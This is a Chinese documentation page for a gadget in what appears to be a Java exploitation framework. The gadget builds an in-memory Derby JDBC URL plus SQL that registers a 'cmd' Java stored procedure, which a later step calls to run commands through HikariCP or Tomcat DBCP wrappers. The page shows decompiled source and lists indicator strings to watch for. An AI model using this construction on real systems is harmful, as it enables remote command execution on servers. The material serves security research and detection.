- 类别:
common别名:— 优先级:— - 作者:X1r0z
- 依赖:
derby:org.apache.derby.jdbc.EmbeddedDriver - 实现:
Gadget
生成创建 Derby cmd 存储过程的 JDBC Map。
- 入口
tags:DerbyJdbcUrl、JdbcUrlChains、END - 衔接
nextTags:无 excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public Map<String, Object> getObject() {
String url = "jdbc:derby:memory:" + this.database + ";create=true";
ArrayList<String> sqlList = new ArrayList<String>();
sqlList.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME '" + this.className + ".exec'");
HashMap<String, Object> map = new HashMap<String, Object>();
map.put(ContextTag.JDBC_DRIVER, this.driverClassName);
map.put(ContextTag.JDBC_URL, url);
map.put(ContextTag.JDBC_URL_SQL_LIST, sqlList);
return map;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Map<String, Object> jdbcMap = this.getObject();
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return jdbcMap;
}getObject() 构造内存 Derby URL,并在 SQL 列表中放入 CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) ... EXTERNAL NAME '<className>.exec'。
该 gadget 只负责把 Java 类中的静态方法注册成 Derby 存储过程;真正执行命令要由后续 DerbyCommandJdbc 调用 CALL cmd(...)。
invoke() 与其它 Derby 单 SQL gadget 一样写入 DRIVER_CLASS_NAME_KEY,返回给 Hikari、Tomcat DBCP 等 JDBC Attack 包装器。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
database |
数据库名 | — | "dbtest" |
— |
className |
Jar包内的className | 在DerbyInstallJar时可通过Context上下文输出进行获取 | — | — |
- 注解描述:适用于HikariCP和TomcatJDBC仅能执行单条SQL情况 CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME '" + className + ".exec'
- 依赖条件:
derby:org.apache.derby.jdbc.EmbeddedDriver。 - 需要 Derby embedded driver,且目标场景允许通过连接初始化 SQL 执行
CREATE PROCEDURE。 END标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。
关注 CREATE PROCEDURE cmd、PARAMETER STYLE JAVA、EXTERNAL NAME、jdbc:derby:memory:。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。